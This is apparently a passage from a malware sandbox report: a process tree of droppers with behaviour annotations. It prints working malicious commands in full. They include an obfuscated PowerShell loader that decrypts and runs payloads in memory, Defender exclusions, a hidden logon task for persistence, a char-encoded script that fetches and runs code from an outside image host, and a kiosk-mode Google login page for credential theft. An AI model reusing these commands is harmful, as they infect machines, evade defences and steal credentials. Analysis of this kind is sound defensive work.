zvObs($JvbIA){$BTsJb=[System.Security.Cryptography.Aes]::Create();$BTsJb.Mode=[System.Security.Cryptography.CipherMode]::CBC;$BTsJb.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$BTsJb.Key=[System.Convert]::($Zuin[5])('KwI+m+CS1RDGlA9XTP7AS8wYXfFUGAPj9L5At8f7F1s=');$BTsJb.IV=[System.Convert]::($Zuin[5])('l/MlylluBYy9Hd3APLUJJw==');$WXMvq=$BTsJb.($Zuin[4])();$uocwr=$WXMvq.($Zuin[3])($JvbIA,0,$JvbIA.Length);$WXMvq.Dispose();$BTsJb.Dispose();$uocwr;}function YULgT($JvbIA){$JsFWY=New-Object System.IO.MemoryStream(,$JvbIA);$KRoOX=New-Object System.IO.MemoryStream;$WGloZ=New-Object System.IO.Compression.GZipStream($JsFWY,[IO.Compression.CompressionMode]::($Zuin[9]));$WGloZ.($Zuin[8])($KRoOX);$WGloZ.Dispose();$JsFWY.Dispose();$KRoOX.Dispose();$KRoOX.ToArray();}$WMVlw=[System.IO.File]::($Zuin[10])([Console]::Title);$wetuz=YULgT (zvObs ([Convert]::($Zuin[5])([System.Linq.Enumerable]::($Zuin[7])($WMVlw, 5).Substring(2))));$oCIEk=YULgT (zvObs ([Convert]::($Zuin[5])([System.Linq.Enumerable]::($Zuin[7])($WMVlw, 6).Substring(2))));[System.Reflection.Assembly]::($Zuin[0])([byte[]]$oCIEk).($Zuin[6]).($Zuin[13])($null,$null);[System.Reflection.Assembly]::($Zuin[0])([byte[]]$wetuz).($Zuin[6]).($Zuin[13])($null,$null); "
        10⤵
        
        PID:3764
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        10⤵
        
        PID:4676
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        11⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6036
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
        11⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6828
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\10002870121\lowsigmbye')
        11⤵
        
        PID:8132
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 80302' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network80302Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        11⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6688
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\Network80302Man.cmd"
        11⤵
        
        PID:7984
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Network80302Man.cmd"
        12⤵
        
        PID:3000
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Network80302Man.cmd';$Zuin='LohLgJadhLgJ'.Replace('hLgJ', ''),'SpUdGHlitUdGH'.Replace('UdGH', ''),'CkzbKhankzbKgekzbKExkzbKtenkzbKskzbKikzbKokzbKnkzbK'.Replace('kzbK', ''),'TraXqevnsXqevforXqevmXqevFXqevinXqevalBXqevloXqevckXqev'.Replace('Xqev', ''),'CreIZJaatIZJaeIZJaDeIZJacIZJarIZJaypIZJatoIZJarIZJa'.Replace('IZJa', ''),'FrlsceomlsceBlscealsceslscee6lsce4Slscetrlsceinlsceglsce'.Replace('lsce', ''),'EnPCOltrPCOlyPoPCOlinPCOltPCOl'.Replace('PCOl', ''),'ElluGUemeluGUnluGUtluGUAtluGU'.Replace('luGU', ''),'CowSLIpyTwSLIowSLI'.Replace('wSLI', ''),'DQNkhecQNkhompQNkhrQNkheQNkhssQNkh'.Replace('QNkh', ''),'ReBEWfaBEWfdBEWfLBEWfineBEWfsBEWf'.Replace('BEWf', ''),'GetQshGCQshGurQshGreQshGnQshGtQshGPrQshGoQshGcQshGessQshG'.Replace('QshG', ''),'MahQKVinhQKVMhQKVohQKVduhQKVlehQKV'.Replace('hQKV', ''),'Invdqdfokdqdfedqdf'.Replace('dqdf', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($Zuin[11])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function zvObs($JvbIA){$BTsJb=[System.Security.Cryptography.Aes]::Create();$BTsJb.Mode=[System.Security.Cryptography.CipherMode]::CBC;$BTsJb.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$BTsJb.Key=[System.Convert]::($Zuin[5])('KwI+m+CS1RDGlA9XTP7AS8wYXfFUGAPj9L5At8f7F1s=');$BTsJb.IV=[System.Convert]::($Zuin[5])('l/MlylluBYy9Hd3APLUJJw==');$WXMvq=$BTsJb.($Zuin[4])();$uocwr=$WXMvq.($Zuin[3])($JvbIA,0,$JvbIA.Length);$WXMvq.Dispose();$BTsJb.Dispose();$uocwr;}function YULgT($JvbIA){$JsFWY=New-Object System.IO.MemoryStream(,$JvbIA);$KRoOX=New-Object System.IO.MemoryStream;$WGloZ=New-Object System.IO.Compression.GZipStream($JsFWY,[IO.Compression.CompressionMode]::($Zuin[9]));$WGloZ.($Zuin[8])($KRoOX);$WGloZ.Dispose();$JsFWY.Dispose();$KRoOX.Dispose();$KRoOX.ToArray();}$WMVlw=[System.IO.File]::($Zuin[10])([Console]::Title);$wetuz=YULgT (zvObs ([Convert]::($Zuin[5])([System.Linq.Enumerable]::($Zuin[7])($WMVlw, 5).Substring(2))));$oCIEk=YULgT (zvObs ([Convert]::($Zuin[5])([System.Linq.Enumerable]::($Zuin[7])($WMVlw, 6).Substring(2))));[System.Reflection.Assembly]::($Zuin[0])([byte[]]$oCIEk).($Zuin[6]).($Zuin[13])($null,$null);[System.Reflection.Assembly]::($Zuin[0])([byte[]]$wetuz).($Zuin[6]).($Zuin[13])($null,$null); "
        13⤵
        
        PID:6636
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        13⤵
        
        PID:2388
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8128
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2980
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\Network80302Man')
        14⤵
        
        PID:5248
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 80302' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network80302Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7072
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2388 -s 2484
        14⤵
        Program crash
        
        PID:4016
  - - C:\Users\Admin\AppData\Local\Temp\1011445001\rhnew.exe
      "C:\Users\Admin\AppData\Local\Temp\1011445001\rhnew.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3264
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3264 -s 544
        5⤵
        Program crash
        
        PID:744
  - - C:\Users\Admin\AppData\Local\Temp\1011459001\9c5cce1046.exe
      "C:\Users\Admin\AppData\Local\Temp\1011459001\9c5cce1046.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1856
    - - C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
        
        "C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1924
      - C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:4512
      - C:\Users\Admin\AppData\Local\Temp\1001527001\alex2022.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1001527001\alex2022.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:3828
        
        C:\Users\Admin\AppData\Local\Temp\1001527001\alex2022.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1001527001\alex2022.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1288
      - C:\Users\Admin\AppData\Local\Temp\1002824001\d98af20803.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1002824001\d98af20803.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4592
      - C:\Users\Admin\AppData\Local\Temp\1003013001\AllNew.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1003013001\AllNew.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:5092
        
        C:\Users\Admin\AppData\Local\Temp\23a0892ef8\Gxtuum.exe
        
        "C:\Users\Admin\AppData\Local\Temp\23a0892ef8\Gxtuum.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3816
      - C:\Users\Admin\AppData\Local\Temp\1003620001\trru7rd2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1003620001\trru7rd2.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2784
      - C:\Users\Admin\AppData\Local\Temp\1004899001\am209.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1004899001\am209.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:3684
        
        C:\Users\Admin\AppData\Local\Temp\fc9e0aaab7\defnur.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fc9e0aaab7\defnur.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2900
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\10009630142\Async.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6364
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" cmd /c powershell -NoProfile -NonInteractive -WindowStyle Hidden -exec bypass "Set-PSReadLineOption -HistorySaveStyle SaveNothing; Function c { & ([ScriptBlock]::Create([System.Text.Encoding]::Default.GetString(@(65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,83,121,115,116,101,109,46,68,114,97,119,105,110,103,13,10,65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,83,121,115,116,101,109,46,78,101,116,13,10,13,10,36,119,101,98,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,78,101,116,46,87,101,98,67,108,105,101,110,116,13,10,36,117,114,108,32,61,32,34,104,116,116,112,115,58,47,47,105,46,105,109,103,104,105,112,112,111,46,99,111,109,47,102,105,108,101,115,47,115,101,116,53,57,49,50,80,121,89,46,66,109,112,34,13,10,36,109,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,73,79,46,77,101,109,111,114,121,83,116,114,101,97,109,13,10,36,119,101,98,46,68,111,119,110,108,111,97,100,68,97,116,97,40,36,117,114,108,41,32,124,32,37,32,123,32,36,109,115,46,87,114,105,116,101,40,36,95,44,32,48,44,32,36,95,46,76,101,110,103,116,104,41,32,125,13,10,36,109,115,46,80,111,115,105,116,105,111,110,32,61,32,48,13,10,36,105,109,103,49,32,61,32,91,83,121,115,116,101,109,46,68,114,97,119,105,110,103,46,73,109,97,103,101,93,58,58,70,114,111,109,83,116,114,101,97,109,40,36,109,115,41,13,10,36,101,110,32,61,32,78,101,119,45,79,98,106,101,99,116,32,39,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,71,101,110,101,114,105,99,46,76,105,115,116,91,66,121,116,101,93,39,13,10,102,111,114,101,97,99,104,40,36,120,32,105,110,32,49,46,46,36,105,109,103,49,46,87,105,100,116,104,41,32,123,13,10,32,32,32,32,36,101,110,46,65,100,100,40,40,36,105,109,103,49,46,71,101,116,80,105,120,101,108,40,36,120,32,45,32,49,44,32,48,41,46,82,41,41,13,10,125,13,10,36,112,108,32,61,32,91,83,121,115,116,101,109,46,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,85,84,70,56,46,71,101,116,83,116,114,105,110,103,40,36,101,110,46,84,111,65,114,114,97,121,40,41,41,13,10,36,115,98,32,61,32,91,83,99,114,105,112,116,66,108,111,99,107,93,58,58,67,114,101,97,116,101,40,36,112,108,41,13,10,105,99,109,32,36,115,98,13,10,13,10,35,82,82,82,82)))); } c #d "
        9⤵
        An obfuscated cmd.exe command-line is typically used to evade detection.
        
        PID:1216
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -exec bypass "Set-PSReadLineOption -HistorySaveStyle SaveNothing; Function c { & ([ScriptBlock]::Create([System.Text.Encoding]::Default.GetString(@(65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,83,121,115,116,101,109,46,68,114,97,119,105,110,103,13,10,65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,83,121,115,116,101,109,46,78,101,116,13,10,13,10,36,119,101,98,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,78,101,116,46,87,101,98,67,108,105,101,110,116,13,10,36,117,114,108,32,61,32,34,104,116,116,112,115,58,47,47,105,46,105,109,103,104,105,112,112,111,46,99,111,109,47,102,105,108,101,115,47,115,101,116,53,57,49,50,80,121,89,46,66,109,112,34,13,10,36,109,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,73,79,46,77,101,109,111,114,121,83,116,114,101,97,109,13,10,36,119,101,98,46,68,111,119,110,108,111,97,100,68,97,116,97,40,36,117,114,108,41,32,124,32,37,32,123,32,36,109,115,46,87,114,105,116,101,40,36,95,44,32,48,44,32,36,95,46,76,101,110,103,116,104,41,32,125,13,10,36,109,115,46,80,111,115,105,116,105,111,110,32,61,32,48,13,10,36,105,109,103,49,32,61,32,91,83,121,115,116,101,109,46,68,114,97,119,105,110,103,46,73,109,97,103,101,93,58,58,70,114,111,109,83,116,114,101,97,109,40,36,109,115,41,13,10,36,101,110,32,61,32,78,101,119,45,79,98,106,101,99,116,32,39,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,71,101,110,101,114,105,99,46,76,105,115,116,91,66,121,116,101,93,39,13,10,102,111,114,101,97,99,104,40,36,120,32,105,110,32,49,46,46,36,105,109,103,49,46,87,105,100,116,104,41,32,123,13,10,32,32,32,32,36,101,110,46,65,100,100,40,40,36,105,109,103,49,46,71,101,116,80,105,120,101,108,40,36,120,32,45,32,49,44,32,48,41,46,82,41,41,13,10,125,13,10,36,112,108,32,61,32,91,83,121,115,116,101,109,46,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,85,84,70,56,46,71,101,116,83,116,114,105,110,103,40,36,101,110,46,84,111,65,114,114,97,121,40,41,41,13,10,36,115,98,32,61,32,91,83,99,114,105,112,116,66,108,111,99,107,93,58,58,67,114,101,97,116,101,40,36,112,108,41,13,10,105,99,109,32,36,115,98,13,10,13,10,35,82,82,82,82)))); } c #d
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4840
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
        8⤵
        
        PID:6928
      - C:\Users\Admin\AppData\Local\Temp\1005061001\nSoft.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005061001\nSoft.exe"
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:4820
      - C:\Users\Admin\AppData\Local\Temp\1005128001\newwork.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005128001\newwork.exe"
        6⤵
        
        PID:6428
        
        C:\Users\Admin\AppData\Local\Temp\is-LTVAM.tmp\newwork.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-LTVAM.tmp\newwork.tmp" /SL5="$D01C6,3498837,54272,C:\Users\Admin\AppData\Local\Temp\1005128001\newwork.exe"
        7⤵
        
        PID:6808
      - C:\Users\Admin\AppData\Local\Temp\1005148001\eab7fdded0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005148001\eab7fdded0.exe"
        6⤵
        
        PID:5764
      - C:\Users\Admin\AppData\Local\Temp\1005149001\047370fa52.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005149001\047370fa52.exe"
        6⤵
        
        PID:5116
  - - C:\Users\Admin\AppData\Local\Temp\1011568001\5215176b95.exe
      "C:\Users\Admin\AppData\Local\Temp\1011568001\5215176b95.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1068
  - - C:\Users\Admin\AppData\Local\Temp\1011569001\ab38ce8c6d.exe
      "C:\Users\Admin\AppData\Local\Temp\1011569001\ab38ce8c6d.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      PID:4276
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4276 -s 1532
        5⤵
        Program crash
        
        PID:2544
  - - C:\Users\Admin\AppData\Local\Temp\1011570001\32c9793fe6.exe
      "C:\Users\Admin\AppData\Local\Temp\1011570001\32c9793fe6.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      PID:744
  - - C:\Users\Admin\AppData\Local\Temp\1011571001\c739291890.exe
      "C:\Users\Admin\AppData\Local\Temp\1011571001\c739291890.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:2132
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:3792
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:2284
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:1472
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:4116
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:4544
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        5⤵
        
        PID:5072
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        6⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:3680
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1996 -parentBuildID 20240401114208 -prefsHandle 1912 -prefMapHandle 1904 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {02216217-dbf1-4c6a-9982-945e1bdf05c6} 3680 "\\.\pipe\gecko-crash-server-pipe.3680" gpu
        7⤵
        
        PID:2556
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2472 -parentBuildID 20240401114208 -prefsHandle 2456 -prefMapHandle 2452 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {736ae06a-db1e-43ad-8b90-8e4371b4cf71} 3680 "\\.\pipe\gecko-crash-server-pipe.3680" socket
        7⤵
        
        PID:4636
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2992 -childID 1 -isForBrowser -prefsHandle 3400 -prefMapHandle 3692 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f9e9dc31-b881-4aec-89c3-1bf205e29669} 3680 "\\.\pipe\gecko-crash-server-pipe.3680" tab
        7⤵
        
        PID:5416
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3264 -childID 2 -isForBrowser -prefsHandle 3848 -prefMapHandle 3560 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f095e91b-a1f8-4227-a03d-26d29571ffea} 3680 "\\.\pipe\gecko-crash-server-pipe.3680" tab
        7⤵
        
        PID:5608
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4224 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4256 -prefMapHandle 4252 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {579b3c84-65f1-423d-ad05-f8f2ff90b1b0} 3680 "\\.\pipe\gecko-crash-server-pipe.3680" utility
        7⤵
        
        PID:6084
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5364 -childID 3 -isForBrowser -prefsHandle 5352 -prefMapHandle 4388 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5c8c837d-6f3b-4459-b40a-f03890082cac} 3680 "\\.\pipe\gecko-crash-server-pipe.3680" tab
        7⤵
        
        PID:7104
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5404 -childID 4 -isForBrowser -prefsHandle 5584 -prefMapHandle 5580 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9c98b98e-131c-42a9-bc96-628e8bedb1d7} 3680 "\\.\pipe\gecko-crash-server-pipe.3680" tab
        7⤵
        
        PID:7152
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5512 -childID 5 -isForBrowser -prefsHandle 4388 -prefMapHandle 5392 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5f0e546f-2879-4be0-b4b9-c85476607190} 3680 "\\.\pipe\gecko-crash-server-pipe.3680" tab
        7⤵
        
        PID:5720
  - - C:\Users\Admin\AppData\Local\Temp\1011572001\4be2d176fd.exe
      "C:\Users\Admin\AppData\Local\Temp\1011572001\4be2d176fd.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      PID:2344
  - - C:\Users\Admin\AppData\Local\Temp\1011573001\05fee40f39.exe
      "C:\Users\Admin\AppData\Local\Temp\1011573001\05fee40f39.exe"
      4⤵
      PID:6916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4248

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:1776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:1480

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:4780
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 624 -ip 624
  2⤵
  PID:2836
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 3264 -ip 3264
  2⤵
  PID:652
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4276 -ip 4276
  2⤵
  PID:3296
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 2388 -ip 2388
  2⤵
  PID:7052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
